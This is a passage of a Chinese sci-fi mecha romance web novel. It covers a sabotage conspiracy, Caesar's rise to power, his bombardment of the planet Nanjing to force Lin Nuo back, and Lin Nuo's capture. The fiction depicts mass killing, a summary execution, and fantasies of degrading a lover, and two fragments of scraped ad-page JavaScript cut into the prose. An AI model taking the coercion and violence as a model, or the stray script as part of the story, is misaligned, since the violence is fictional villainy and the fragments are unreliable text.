恺撒把枪口压低,最终对准他的前额。 “——砰!” 69.第 69 章 …… … “我想,这会是一桩很划算的交易。” 在几名特工的见证下,有人将一个只有指甲盖大小的金属盒,缓缓推至林成宇面前。 “把这枚东西,植入调查局指定的机甲里。什么也别说,什么也别问。5天后,你的孩子会毫发无损回到家里。” 林成宇坐在妻子身旁。 2939年的太阳系星盗猖獗,小林诺搭乘的悬浮校车也被劫持。 得到消息后仅过了两天,他就已经老得鬓发霜白,再也看不出闯荡南境时的意气风发。 而他的妻子坐在身旁,膝上有一副小小的、但做工很精细的金属耳机。 她紧握着良久,才问:“是谁的机甲。” “我说过,什么也别说,什么也别问。看来你的妻子还不太清楚我们的行事风格,你应该比她清楚得多。” 特工说,“有没有后悔过从调查局叛逃?成为平民后,连星盗劫掠这样的突发事件都无力应对。我们开出的价码已经足够优厚,要知道对待叛逃特工,调查局一般是就地处决。” “部队马上就要出发,你们最好能现在做决定。” 10年前的扎因特工并不礼貌地坐在林家餐桌上,屁股碰翻了一个装着儿童剪贴画的相框。 他拿起看看,相框里贴的是歪歪扭扭的三口之家,角落里还硬挤进一个写着“小叔”的纸片大头,于是笑了声,随手丢到桌下去。 “在剿匪过程中营救人质,失败率本就不低。一个小孩在交火中‘不慎’死去,民众也不会为此指责什么。但如果你同意……我们就会安排最好的机甲师执行营救任务。” 说着,他从桌上跳下,指了指林妈妈手里的耳机,笑道:“很漂亮的定制耳机。等事情结束,我也给我女儿订一副。” 当夜,一张调查局密令无声展开。 执行者的虹膜、指纹、生物DNA,被收录进入密令,并用以开启地球港口的机甲库。 …… “……‘我无法奢求你的原谅,因为我也永远不会原谅自己、一个背叛了自己原则和信仰的父亲……但小宝是无辜的。他无辜地被我带到这个世上,无辜地成为政府与军部角逐的砝码,他这么小,经历这样可怕的事,往后的人生将会有多么艰难…… “……‘弟弟,请你——不,求你好好照看他。他几乎是我和文华的一切……你知道吗?小宝其实更像他的妈妈。我真高兴在最后时刻,发现了这一点……’” 这份遗嘱,被封存在南境最大的信托公司,由信托公司多方面确认由林成宇亲自提交,并在林家夫妻自杀身亡后,被移交给林成彬。 但遗嘱的备份,却被一直保存在调查局的机密档案库,直到落进恺撒手中。 “我属于机甲特种部队,主导作战任务。营救人质该由后续进场的救援组执行。” 少年恺撒说,他关上冥炎的舱门,一边戴上战术手套,一边跟指挥部通话,“指令是否有误?” “执行命令,卡厄西斯。这是来自调查局的直接指示,至于掩护和作战行动,将由你的队友执行。” 少年恺撒轻嗤一声,但也无所谓,径直推动操纵杆,驱动冥炎。 黑发小孩身上都是血污,一直趴在少年腿上发抖。 跟别的被救上机甲的小孩不同,他除了最开始时止不住哭声,后面一直很安静。 少年恺撒低下头时,见他正堵着自己嘴巴不哭,看起来都快把自己堵窒息了。 出于奖励或是避免麻烦,少年恺撒腾出手给他拍了拍后背,让他至少能喘上气。 而在冥炎驾驶舱的最深处,一枚本不该属于它的熔毁芯片,正静静注视着这一切。 ……一种刺耳的噪音,在耳边愈演愈烈。 起初恺撒以为是他的感官超载复发。但很快,某种诡异的黑斑,也开始迅速占据他的视野边缘,并有愈演愈烈之势。 他不记得在被神经鳗贯穿脑部时,是否有过同样的体验——当时的痛感太剧烈,让人根本无暇顾及其他。 不过下一秒,黑斑和噪音一并消失,就像它们到来时一样没有预兆。 一个警卫队成员拿来纸巾,递给他:“队长。你流血了。” 恺撒抬手擦了一下,发现是从一侧眼底流出来的血。 只流了一点点,或许是义眼底座的周围发炎了。 他再次查看那段视频,从地球港口机甲库的大门深夜开启,到那对夫妇进入冥炎再离开。 短短一段路,他播放了两百八十七次,亲眼确认他们背着工具箱,蹒跚爬进了机体胸甲,看着林父的斑斑白发,都在喷出的气流中扬起。 三小时后,他们从冥炎内离开,紧接着,秘密调查局的科研部试验熔毁程序,并在任务记录中填下“测试成功”。 冥炎内部没有安装监控,而这还是他当年刚刚确认冥炎的使用权时,强硬要求机械师拆除的。 在2939年的剿匪行动过后,冥炎被作为联邦的军用财产,正式分配为他的私人专用机甲。此后,冥炎一直跟随他东征西战,随军停放在母舰或要塞的机甲库,而他能够百分之一万地确定,从冥炎离开地球港口、成为他的专用机甲,就再也没被第二个人碰过。 ……不。 当冥炎在战场中被摧毁,成为一堆废铁残骸时,还是被除他以外的人碰过的—— 少年系着围裙,坐在他那对父母同样的位置,亲手给冥炎换过心脏。 而他当时,还正抬着早被毁过一次的双眼,怔怔看着少年的脸蛋出神。 不明缘由的噪音卷土重来,伴随而来的,是一种尖利的头痛。 黑斑又一次在眼底蔓延,像一滴滴落在纸面的污血。 而他知道,自己不可能再罹患任何眼科疾病,于是抬起手,直接把义眼摘除,丢进清洗箱里。 “如果这一切不是巧合,或许我们该怀疑,调查局早在‘暴风雨’计划启动前,就已经预谋让林诺接近您……为什么他偏偏选择中央军校?根据他的小学教师供述,他从前没有展露过任何从军的意向。” “为什么偏偏在元帅返回要塞时,明知训练场不向外系开放,还要趁夜偷偷溜进去?为什么偏偏是凌晨4点?如果不是提前知道元帅会在下方的机甲库,他未必会选在那个时间进入训练场。” “唯一的巧合,应该是调查局也没想到他的精神力天赋极高,高到可以成为‘暴风雨’计划目标的程度……” “元帅,我曾说过那个Beta孩子远不如看上去单纯。他知道如何在民众面前作秀,知道如何讨好您以保全自己,甚至能让您为他改变计划,寻找替死的人……” 恺撒在更换义眼。 换好以前,视野里只有一片黑暗。 而等义眼更换完毕,他平静地说了句:“滚出去。” 参谋们被急召过来时,恰好碰上警卫队在搬运副官的尸体。 那个场面相当骇人,于是,没等恺撒的话音完全落下,他们已经争先恐后,拔腿逃出了门。 警卫队一半的成员,包括副队长杜兰德,都已经被他派去搜寻新的证据——他没有明说他更想看什么样的证据,是能证明林家父母被栽赃陷害的,还是能把他们直接锤进地心的。 检查过视野再没有黑斑,银发男人起身,整理一会儿军装,对剩下的成员微笑道:“我该去宣誓就职了。” *** 为庆祝新的首席执政官上任,联邦第三、第四、第五、第七、第十三舰队等接连七日发射礼炮,在太空掀起巨大的震荡波,几乎一路震慑至南境。 地下城的顶板吱嘎作响,而林诺似乎浑然不觉。 他顶着粪便的恶臭,将老妇人弄脏的被褥抱出帐篷,送到集中清洁点去。 “恺撒·卡厄西斯还真当上首席执政官了,不知道是好事还是坏事。” 排队的时候,前面的雇佣兵们,一直在闷头抽烟,“说是卸任军职改为从政,其实也没见卸得有多干净。八支舰队的礼炮余波,还在南境上空荡着呢。” “我倒是想乐观点。军官执政,对雇佣兵的态度应该会好些。说不定哪天我们还能被赦免,回联邦去养老。” “南境有什么不好的?自由不受约束,干嘛心心念念回联邦去呢?一言不合就又去给官老爷们当炮灰了。” 一个大胡子抽着烟,余光一转,看到后面抱着被子的林诺,笑着打趣说: “况且南境不是还有我们的小宝运输官吗。离了小宝,谁还肯给我们发泡面?” “手好了没?把被子给我——呕!好臭!谁拉了一被子?!” 林诺不吭声,扎着绷带的手插在裤兜里,只等着清洁机器人把脏被褥洗好。 几个雇佣兵互相看一眼,也没硬给他发烟,明眼人都能看出来,林诺这几天的心情不好。 等机器人把被子洗好烘干,他又扛着棉被,一声不吭送回老妇人的帐篷去。 在没有物资搬运任务的时候,林诺会去第八区看望老妇人。 她的精神疾病一直没有好转,基本已经没有自理能力。在物资紧缺的难民区,如果不是有个林家人常来看望,她很快就会被洗劫一空,并弃尸在地下城的边陲地带。 亚历山大·瑞安的骨灰罐摔得太碎了,林诺试了很多次,都没有办法拼合回去。 于是他用废弃的铁钉,把碎片重组成花盆,里面种一些从行商手里买来的花,放在帐篷里。 老妇人虽然一直浑浑噩噩,但倒还每天记得去浇。 “小宝,林二哥叫你。” 帐篷外有人叫,“南境的冬季要到了,地下城的温控装置可能需要人手。” 林诺说:“我马上到。” 他帮老妇人铺好床,离开帐篷去找小叔。 小叔自从带他来了南境自家地盘,生活相对安稳了些,烧伤也好转了,脸和身上都长出了新的皮肉,偶尔也能扶着轮椅复健。 看见林诺沿着温控管道过来,他脸上先是不自觉露出笑容,随后像是想到了什么,眼神微微躲闪开来。 自从得知了亚历山大·瑞安的事,林诺就很少再开口说话,也没对什么人笑过。 林成彬从小把他养大,当然知道他的脾气,越是伤心难过,林诺越喜欢一个人闷着,任谁来都撬不开他的锯嘴。 当年林家父母去世,林诺整整一年时间都是这样的状态,直到他自己决定要报考中央军校,才一点点好转起来。 但上回的谈话刚进行到一半就被打断,林成彬每次看见林诺,心底都会百万分挣扎。 林成宇的遗嘱和财产,他其实早该在林诺了解南境林家后就一并移交,但无论从哪个角度来看,当年的事都会对林诺造成巨大的伤害。 他看着林诺坐到管道顶上补漏,又从管道上“哧溜”滑下来,走到自己跟前。 就算心情不好,林诺还是注意到小叔担忧的目光,于是胳膊擦擦脸蛋上的机油,闷头闷脑说:“小叔,我没事的。” 在这一瞬间,林成彬做出了决定——就让那个秘密从此烂在心底。 他的任务是让小宝快乐自由地长大,任何会让小宝不快乐、不自由的事,他都不该去做。 “小宝,等会结束工作,我带你去一趟南境的银行。你爸妈当年存在南境的财产,一直由林家人看管着。现在你可以去办理继承手续了。” 林诺想了想,还是跟着小叔去办手续。 手续办完后,他除了在地下城搬运物资、看望老妇人,每天又多了一项新工作:考察南境环境最好的养老院。 ……而13舰队突然转向,浩浩荡荡驶往南境的消息。 也是他在考察途中得知的。 “南境是自由独立行星,跟联邦一直井水不犯河水,卡厄西斯这是什么意思??” “这是要打仗了吗?恺撒·卡厄西斯宣誓就职首席执政官,这才刚过了几天啊??” “我们刚从血色戒严逃难来的,我们接下来能去哪……” 林诺沿着南境的地表路面,往地下城入口狂奔。 沿途的集市里,不管是人类还是异星生物,都在匆忙收拾摊位,紧闭门窗,如同一场史无前例的风暴即将来临。 “小叔!” 他闯进林家的聚居地,就见所有林家人都围在公共光幕前,或站或立,面色极为凝重。 光幕里,一位非常面生的议员正代表最高议会,向全体公民诵读新政府调查的结果。 “……我们曾与南境相敬如宾,甚至与其并肩作战。然而,根据木星环城事件的真实调查结果,南境如今却成了叛军和恐怖主义的避风港,成了庇护危害数百万公民家庭的敌人的温床!” “……我们的新执政官,为广大人民熟知的恺撒元帅,宣称他有责任保护每一位无辜的联邦公民。为了我们的安全,为了我们的后代,我们将对南境采取快速果断的军事措施,以确保木星环城惨案永远不会再发生……” 与听了演讲义愤填膺,决定同仇敌忾的民众不同,最高议会几乎炸开了锅。 “你没资格越过我们向任何势力宣战!!” 有人在台下叫着,“卡厄西斯,你是被以太集团保送上来的,这跟我们说好的不一样,你敢在宣誓第三天就出尔反尔!” “肃静。” 恺撒说。控场效果并不好,议员席依旧如菜市场般嘈杂。 于是他抬手,把主席台上的小木锤扫落在地,然后直接拔枪站起,一枪结果了叫嚷者的性命。 ……全场鸦雀无声。 “看。平心静气些不好吗?” 银发男人微笑道,在他身后,武装士兵已经陆续上台,持枪在后方列队, “让我们继续讨论南境问题。如有反对,请当场提出建议,我将在此竭诚恭听。” “南境不是资源行星,就算吞并,对新政府也没有多大好处。” 陈九叔在林家的紧急会议中说,“不过于公,他需要一场快速直接的复仇战役,转移联邦内部换届时期矛盾,并提升自己的声望。南境本就鱼龙混杂,是联邦和外太阳系之间的跳板,一场仗打下来,他确实能在这里找到很多叛军和星盗头目。但于私,他大概率就是冲着小……冲着南境林家来的。” 陈九叔讲话时吞了一个音,但林诺听懂了。 他思忖片刻,径直拿着外套站起:“我离开南境。他要是敢,就追我追进太阳系外的星盗腹地去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “小宝坐下。”小叔喊住他,“没这么简单,你一个人走解决不了问题。你九叔说得很清楚了,你在不在南境,他都会打过来的。” 说着,他又回过头,对其他林家人下令:“准备好大型跃迁飞船。我们可能得带上投靠林家的难民一起走。” 星际时代的通讯速度今非昔比,不出半日,整个南境都得知战争即将打响的消息。 南境港口,大量私人飞艇在跃迁点逃离,而上次林诺看到这个场景,还是在木星环城港口——一切宛如昨日重现。 在急剧恶化的局势中,他们还是得到了一个好消息:恺撒新官上任,目前对联邦的掌控程度,暂时还不如日后那样恐怖。 因此,在他独断决定向南境发兵时,遭到了许多来自下层的阻力。 这些阻力有效拖延了十三舰队的进军速度,原本从联邦范围跃迁到南境,最快甚至只需两天一夜,但十三舰队不得不在半路驻扎,以等待正式进攻命令下达。 林诺背着老妇人,疾行在地下城的人流中。 一艘庞大的跃迁飞船,正停泊在距离地下城最近的港口。 那是林家兄弟当年刚刚抵达南境时,跟南境的机械师们集资打造的,是为了在大型异星战役到来时避难用。 他把老妇人背上船,找到舱室安顿好,又去搬避难用的物资。 狭窄的飞船通道混乱不堪,一个很小的孩子,在抓着家人衣服哭闹:“我不搬家!我们刚从地球搬过来,为什么又要搬家!外面这么多星球,地球干嘛偏偏要打南境!” “这也是没办法的事呀。恺撒元帅说过,是因为南境窝藏了叛军分子嘛。”大人也很无措,抱着孩子安抚,“我们没有做过任何坏事,打仗也影响不了我们的。” “但我们刚刚有了新家,又要搬到哪里去呢?星网说外太阳系都是怪兽和星盗,我好害怕!我们一直在搬来搬去,根本没有地方住,这样也算影响不了我们吗……” 电梯门打开,林诺跟着人群跨出,双拳已经握得很紧。他进入地下城,回头却发现那家带着孩子的人,也跟着下了飞船。 他们在地下城居住过几天,知道林诺就是分配物资的“小宝运输官”,于是展开眉宇,充满歉意地对他解释: “抱歉,这孩子有很严重的跃迁恐惧症,我们最后决定还是留在南境了。既然只是剿灭叛军分子,又是恺撒元帅带兵,我想我们这些普通百姓,应该还是能在战争中得到保护的。请转告南境林家,谢谢他们的庇护。” 林诺犹豫了一下,点点头,侧身让开道路,目送他们返回居住区。 虽然小叔一直坚持要带走所有难民,但直到飞船引擎预热完毕,还有很多人选择下船,留在南境。毕竟此前联邦发动的大多数战役,都是对异星战争,距离上一次人类文明内战,已经足有300年。 选择留在南境的平民,对自己的前景都比较乐观。认为既然只是剿匪和反恐行动,那么恺撒元帅在开火前,会优先安排保护他们——甚至连林诺也没有反驳这一点。 “……真的没有时间了。” 最后是小叔咬牙下令,“我们必须得走。告诉驾驶员,准备跃迁。” 大型飞船发出隆隆震响,在船下一众人群的挥帽送别中,缓缓升空,随即倏然消失在港口跃迁点。 就在林家飞船逃离的堪堪半小时后。 南境上空发出可怕的爆鸣。 风暴后晴朗的天空,被黑压压的金属铅云遮蔽。 十三舰队的星舰军团,如同密密麻麻的鲨群,顷刻间布满港口上空。 朝林家挥帽送别的人群,甚至都还没来得及解散。 他们慌忙捂紧帽子,仰望天空,眼里满是恐惧。 恺撒坐在指挥舰上,居高临下俯瞰这颗中立星球。 他解决联邦守旧派花了点时间,但也没耽搁太久。 只是一离开跃迁通道,通讯恢复,他就收到了林家已经逃离南境的消息。 想起在跃迁前,还有参谋向他谏言:“您应该先公开南境林家参与破坏冥炎的情报。这样就算南境林家想逃,南境的其余势力也绝不会让他们如愿。” 恺撒当时摩挲着光脑,考虑了很久。 但最后他只说:“不。” 他知道,一旦他这样做,少年很可能会死在民众暴怒的石头中;或被南境的星盗头子割下人头,当做给他的求和礼物。 林家怎样都无所谓。但林诺是他的。 “已确定叛军残党的根据地坐标,炮艇全门锁定。” 十三舰队在兢兢业业地剿匪,很快将情报送向指挥舰,“元帅,是否开启人道主义通道?” 而恺撒正盯着两小时前的跃迁痕迹出神。 南境是太阳系最边缘的小行星,也是联邦前往太阳系外的唯一通道。 他当年在太阳系外打了数百场战役,知道星舰一旦进入外太阳系,就如沙入大海。 林家的飞船可能停泊在任何废弃行星上,甚至潜藏在星盗要塞里,或者只是随意漂浮在远离航道的茫茫太空。 他当然可以花很多时间去找——可是这不公平。 “……这不公平。林诺。” 恺撒低声自语,声音轻得连身后的杜兰德都没听见。 古怪的噪音,在大脑的某个角落隐现,义眼的视野边缘,再度浮现诡异的黑斑。 他救了林诺的命,将林诺培养成机甲天才,还爱上了林诺,为林诺动摇计划,搜寻替身代他去死。 但到头来,他救下的是毁掉他双眼和精神力的仇人之子,他的爱被林诺如那对手环般摒弃在垃圾分解炉,如今他还要像一条被虐待得发狂的狗,拖着血淋淋的创伤,一路追到外太阳系去——没人可以这样对他。 最公平的做法是,林诺自己像条狗一样爬回来,跪在他裤腿下痛哭流涕,一边哀求忏悔,一边受尽屈辱折磨,在被他用枪管塞进嘴里时,最后一次朝他投来悔恨……和残存着爱意的眼神。 而如果,他曾经了解的林诺,哪怕有一丝是真实的。 他恰好知道有一个办法,会让林诺像个蠢货一样自投罗网。 “人道主义通道?”恺撒用一种含笑的嗓音说。 奇怪的噪音愈发强烈了。 他的警卫队无条件忠诚,新参谋们唯他是尊,噤若寒蝉。 唯一有资历、有几率能够劝谏的人是副官。但他早已成为一撮骨灰,被送往妻儿住处。 于是恺撒做出了人生中第一个完全错误的决策——第二个完全错误的决策,是他接受恩格里尔成为自己的养子。甚至连参加星陨战役,都比这样愚蠢的决策要好得多。那至少让他打破了在规则内出人头地的幻想,一举成了掀桌子的人。 这个决定,直接开启了联邦的血腥内战时代,并让他在有生之年建立稳定统治的设想,化作了泡影。 “不用担心。如果这里真有无辜的民众,也早该在军队到来前逃离了。” 恺撒轻飘飘地说,“如今能留在南境的人,只会是叛军的帮凶和恐怖分子。” 他的声音,带着一种残忍的轻描淡写,传至每段军用频道中。 “全舰队听令。目标南境,开火。” 70.第 70 章 外太阳系,开普勒452b相对坐标(237,80,572)。 联合矿业的老总裁,正坐在自己的母舰庄园中,欣然观赏这场军队屠杀。 他的膝盖旁,蹲着联邦的前任首席执政官兼养子。 养子没有落座资格,于是只能蹲在地毯上,看父亲和朋友们的酒杯什么时候空了,就赶紧满上。 “上回白毛带着他那小情人参加宴会时,我已经给过他暗示。不过很可惜,他当时没听懂。” 老总裁科波菲特转着酒杯,表情非常愉快, “我说过暴露弱点的雄狮,连落水狗都不如。在这一点上,如今的他,甚至比不了17岁时的自己。” “恺撒·卡厄西斯本来可以稳扎稳打,慢慢建立太阳系独裁。屠星这一出以后,联邦的内战没几十年可打不完了。” 另一个人说,“虽说混乱就是我们的淘金期,但我记得恺撒·卡厄西斯从前,似乎不是这样冒进的家伙。” 科波菲特把酒杯倾斜一点,让养子给自己满上。他凝视猩红的酒液片刻,突然说: “你们知道当年星陨战役过后,是联合矿业拿到了康复中心的竞标书,对吧?此后,凡是星陨战役的幸存者,都由我们旗下的康复中心统一治疗。” “当然记得。这可给集团创建了几百亿的纯利润呢。” “当时,有一个很不起眼的消息,在我们派遣的医务团队中流传。” 科波菲特说,“但凡亲历过星陨战役的人,都会携带一种诅咒。” “诅咒?” “或者说是基因彩票?哈哈,听起来不会那么可怕。精神力越高,‘中奖’的几率就越大。” 科波菲尔说,“康复中心发现,每隔一段时间,就有一批士兵变成疯子,尤其是特种部队那群机甲师。病因不明,无法用现阶段脑科学解释,无法痊愈。就像是脑子里埋了个扳机,一受到特定刺激,砰——” “所以您推测,恺撒·卡厄西斯的脑子里,也有这种‘扳机’?” “我可不敢百分百打包票。如果所有参与过星陨战役的士兵都会发疯,这件事早该被捅出来了。” 科波菲尔说,把一口红酒喝下, “不过看现状,我给他找的刺激因显然很合适。天时地利人和——也许众神的确遗弃了联邦,但对于他,众神也另有安排。” *** 林家飞船刚跳出跃迁点。 南境正在被屠星的噩耗,就已经追来。 小叔第一反应:“封闭机甲库!” 他的指令下得非常及时。飞船甲板内的机甲库大门,以最快速度闭合。 一具自装机甲风驰电掣掠近,“咚”地一声,撞在机甲库的大门上。 机甲一直是昂贵的重要战略物资,因此即便是南境林家,也顶多只能在飞船上储备5台机甲。 自从林家飞船脱离南境,林诺就再也没回过自己的舱室。他还记得小叔说过的“万一有危险,可能要由你保护大家”。 不管这是真话还是在哄小孩,他在五台机甲里挑了一架速度最快的,然后直接在驾驶舱内拉起吊床,就住着驾驶舱里。 “……他不能这样做。” 林诺干涩的嗓音,从频道内传出,“当时有很多难民没上船,他们是无辜的。我知道恺撒想要逼我回去。我可以遂他的意。” “你遂他的意,然后呢?13舰队有三万艘大型歼击舰,光机甲数目就是我们的上千倍。你怎样与他抗衡?你怎样让他停火、同时又能让自己脱身?” 机甲的爪子扶在大门上,显然是操纵者在组织语言。 林诺并没有沉默太久,似乎这一方案已经计划了很久,只是现在才告诉小叔: “我手里有暴风眼计划,还有一个已经做好的自动发送程序。在与恺撒谈判以前,我先在联邦的信息中心后台,以我的个人身份上传备份。而在这台机甲的操纵杆上,有我改装的压感按钮,我可以将它与自动发送程序连接。 “只要我松手,暴风眼计划就会向全联邦公民发出。我死后松手,它也会发出。如果恺撒选择切断量子网络,在检测到断网的前两秒,它也会自动发出。 “恺撒利用那些以公正待遇为奋斗目标的Beta,利用我害死一个无辜的孩子,害死这样多无辜的民众——他既然亲眼见证过他们的力量,必然知道被这股力量反噬有多可怕。 “我没有军队,只有一台机甲。唯一能让他忌惮的,或许就只有数百亿公民的民望。” 小叔有一会儿没说话,只是看着屏幕里林诺的脸。 他的表情有些意外,有些欣慰,但又莫名显得担忧。 “这个策略,放在今天以前,都会是行之有效的。” 最后小叔说,声音很低,“可是小宝,他现在已经在屠星了。” 林诺的肩背猛地一紧。 他反刍跟恺撒相处的回忆,推演恺撒的行事逻辑,但不管怎样推演,他也不明白恺撒真敢屠星的理由。 这跟恺撒一直以来的公众形象相去甚远,换做他是一个根基未稳的新任执政官,他也绝不会这样做的。 “……所以我……没有任何办法救下他们了,是吗?” 他喃喃着,低下头时,却发现自己手上居然还戴着恺撒送的战术手套。 即便这些日子,林诺已经对痛苦有了一定耐受性,但在这一刻,他依然感觉有一把尖刀从他胸口洞穿,重重钉进身后的驾驶座。 他从9岁至今的岁月,全都浸透了恺撒的影子,那已经是他超过一半的人生了。 可如今,他却要被迫一遍遍亲自确认,他一直在追逐一场幻梦,他真心爱过的恋人是个会屠星的刽子手。 林诺扯下战术手套,空手扶着操纵杆,低下头来。 于是,机甲也随之缓缓低头,将巨大的金属脑袋,无声抵靠在紧闭的机甲库大门上。 “我们得尽快离开这里。” 小叔说。他注意到,南境到外太阳系的跃迁点出口,正聚集着非常多的私人飞艇。换做是平时,这里压根不会有这么多飞船。 但联邦内部动荡,无数往外逃亡的私人飞艇,正像无头苍蝇一样乱撞。 飞艇前方的舰灯,却如同无数双黑暗深空里的眼睛,注视着林家飞船的航行方向。 “再加快速度。” 他心中掠过巨大的不安,于是抓过通讯器,朝舰桥下令, “我们的目击者太多了,追兵马上就会得到我们的坐标。选一个最偏的跃迁点,尽快往太阳系外脱离。” 飞船的核心炉发出高热的光,引擎全速拉满,以最快速度驶往太阳系外的跃迁点。 高频跃迁不是一件舒服的事,林诺坐在驾驶舱里,都隐隐有一种大脑被反复拉伸的不适感,他很难想象船舱里的难民会吐得怎样天翻地覆。 跳过六个跃迁点,空旷漆黑的宙域里,依然有几艘私人飞艇在乱转。 核心炉迸发出最后一丝灼亮的光,突然“嗡”地一声,熄灭关停。 “是核心炉过载了。我去帮忙。” 林诺迅速从机甲跳下,一路往底舱狂奔, “小叔,给我30分钟,如果警戒范围内出现星盗,马上告诉我。” 他从机甲库往底舱跑,一路翻过好几层阶梯,冲向高热的核心炉舱室。 核心炉的温度非常高,气浪几乎能把人的毛发烫焦,但他还是抿着唇,快速套上降温服,径直扑进了气浪中。 林诺跟飞船工人一起快速抢修,没觉察引擎突然运转,开始消耗珍贵的备用能源。 他在降温服里大汗淋漓,压着通讯器对小叔喊:“小叔,还没修好!先不要开船——” 目光落在引擎面板时,他怔住了。 那是释放防护盾和打开炮门的引擎,意味着不知什么原因,飞船突然进入了全面备战状态。 但他刚跟小叔说过,如果有星盗来劫船,就要马上告诉他。 而如果不是星盗—— 通讯频道的另一头静悄悄。 小叔没有出声,陈九叔他们也没有。 于是林诺冲出底舱,找到最近的舱窗往外看。 一盏,两盏。 一百盏,两百盏。 森黑的宙域里,悄然亮起无数“眼睛”。 那是联邦星舰的舰灯,从林家飞船的下方到头顶,前舱到后甲板,密密麻麻地亮起了一片。 那几艘乱撞的私人飞艇,很灵活地钻进了星舰军团后方。 借着星舰防护盾发出的光,林诺看清了星舰身上刻印的“五”——联邦第五舰队,驻外太阳系远航防御部队。 恺撒宣誓就职时,在太空鸣炮致敬的八大舰队之一。 第五舰队把林家飞船围得水泄不通,星舰紧密排列,火力网互相交织,让林家飞船成了蛛网中心的猎物。 但它们只是围着不动,既不攻击,也不发起通讯,似乎是在等待着什么。 三个小时后,林诺终于知道他们在等谁——跃迁点方向再次有光芒爆闪,13舰队的护卫舰在第5舰队后方骤然出现。 而在护卫舰中间,是一艘银白色的专用指挥舰。 他曾在无数视频中见过这艘指挥舰。 有赖于战术视窗博主常年累月的资料分析,他对恺撒专用指挥舰了解程度不亚于冥炎,甚至连舰身上哪道战损属于哪场战役,都清清楚楚。 但他从没有想过。 有一天,他会与这艘指挥舰正面对峙。 “……元帅。您握有我们的生杀大权,但我仍希望能与您谈判。我们的飞船上有一群无辜的难民,他们对您没有任何威胁,跟过去的事没有任何关系,只是想要活下去。” 林家飞船反复发送的通讯请求,被对方接起。 小叔疲惫而苍老的嗓音,从林诺的耳机里传出。 “只要能让这些难民撤走,您可以向南境林家提出任何条件。只要在我们的能力范围内,我们都会尽力达成。我想等他们回到联邦,一定会歌颂您的仁慈。” 林家飞船使用的是量子宙域公频,在同一片宙域内,任何拥有光脑的人都可以听见。 难民们在舱室内挤成一团, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一边聆听,一边瑟瑟发抖。 13舰队和第5舰队的士兵们也在沉默听着。 难熬的死寂过后,所有人都听见频道里,传出了一个异常熟悉、语调和内容却都极其陌生的低沉嗓音。 “——你以为你有什么资格跟我谈判,老东西?” 恺撒缓慢吐着字,“一条死到临头的老狗,也配与我对话?” 他话音未落,就听护卫舰的一名长官急报: “星环30度夹角方向,不明机甲突入舰群!” 男人覆满阴影的义眼,一刹那间闪过光亮。 他急转指挥舰视角,就见一具南境自装机甲,竟敢单枪匹马从林家飞船射出,然后以可怕的推进速度,一头扎进密密麻麻的第五舰队中。 它挑选的角度和位置极为刁钻,一旦有歼击舰朝它开火,就有可能击中友军。 趁着机甲部队尚未弹出的间隙,它一路朝指挥舰方向急速掠近,眼灯在森黑的太空背景下,拉出折线状的雪亮光带。 “不予攻击。” 恺撒说。但他的指令稍晚了半秒,护卫舰不如机甲灵敏,无法很好瞄准急速掠近的机甲,于是炮塔下方闸门开启,放出无数小型歼击机。 歼击机群像蜂群一样向机甲猛扑,机身之间拉出高杀伤力的光束网,眼见就要把机甲切割成上百万个碎块。 恺撒神情一凛,迅速按下通讯按钮,厉喝: “我说——不予攻击!” 但那台机甲行进时,简直像某种敏捷度拉满的大型生物——在与光束网即将相撞时,它快速射出数百发光束炮,将几艘无人歼击机击毁,然后灵活地翻转机身,堪堪从光束网的间隙中漏过。 光束网拉起和接近的时间,加起来都没有超过一秒,歼击机群直冲而过,再掉头回望时,发现机甲毫发无损。 紧接着,在护卫舰队集体哑火的状态下,它反手挥出光刃,顺利突破指挥舰的防护盾。 巨大锋利的机械爪,深深抓进顶舱的外层舰板。 火花迸溅而出,全舰霎时红光闪烁,警报声凄厉拉响。 指挥舰的甲板倾斜,地面剧颤,连警卫队都在舱内站立不稳。 但恺撒扶着指挥台,灰色的义眼抬起,与舱窗前巨大的眼灯对视。 自从这台机甲出现,他脸上就有一种异常欣快的笑意,尽管到最后,还是他往外追出了太阳系,尽管这并不是与仇人之子重逢时该有的表情。 “如果你要找我,大可以更加直接。” 少年异常嘶哑的声音,从近距离通讯频道传入,“他们从来都不是你的目标。” 机械爪在厚重的舰板中抓得更深,发出可怕的吱嘎声。 “放他们走。”林诺把牙根咬得很紧,“不然我——” “不然你?” 恺撒轻声反问他,“不然你如何?指挥舰上有三千多名待命士兵,底舱还有四千名后勤人员。我的指挥舰从来没有逃生装置,这一点你都知道——所以告诉我,不然你会如何?” 机甲攀在指挥舰上的双爪一震,明显开始动摇。 虽然对恺撒的战役如数家珍,但林诺显然还不知道,他是自恺撒·卡厄西斯进入战场以来,第1个、也是唯一一个能够碰到指挥舰的机甲师。 恺撒笑了。两相僵持间,他点了点指挥台,发了一个固定指令。 于是林诺只觉背后火光大作,急转头时,就见林家飞船的尾部,已经被一发光束炮击穿,顷刻间燃成一颗大火球。 “——” 林诺不知道自己是否喊出了声,或者连喊声都没能发出来。 他转头就要扑进火中。但指挥舰却骤然发出强引力波,让他的机体像千万吨重,被牢牢牵引在原地。 紧接着,越来越多星舰开始朝他发射强引力波,机甲的四肢都被引力拉开,终于被迫悬在包围圈中心,再也动弹不得。 恺撒放下通讯器,整理一番袖口,往指挥舰的甲板走。 与追击途中充满恨与血的设想不一样。 他的脚步很轻快,左胸处的隐痛也消失了,甚至连频频困扰他的噪音和黑斑,也在确认机甲再也无法逃离时,突然不见踪影,堪称医学奇迹。 他甚至开始有余裕思考,该怎样弥补屠星的后果。 屠星的确是他冲动了,但好在不是不可挽回。 他的政治宣传机器一旦开动,联邦公民就会像古地球欧洲仇视犹太人一样,将南境遭遇的一切看作是他们活该。 太空电梯从顶舱向甲板垂降。从电梯前方巨大的观景窗,他能远远看见机甲像个金属手办一样,被死死控制在引力中心。 机甲的四肢被向四个方向拉开,但它还在挣扎,金属头颅疯了一样甩动着,眼灯的光因距离显得有些朦胧,就像机甲也学会了双目含泪。 恺撒抬起手,放在电梯的玻璃幕墙上。 手掌的大小,恰好能将遥远的机体全身覆盖。 于是他缓缓收拢手指。 随着皮革和玻璃干涩、尖利的摩擦声,他最终微笑着,将那具机甲彻底攥入手中。 71.第 71 章 林诺双手双脚反绑,一个人侧躺在囚室中。 这是一间大小约4平米的正方形囚室。 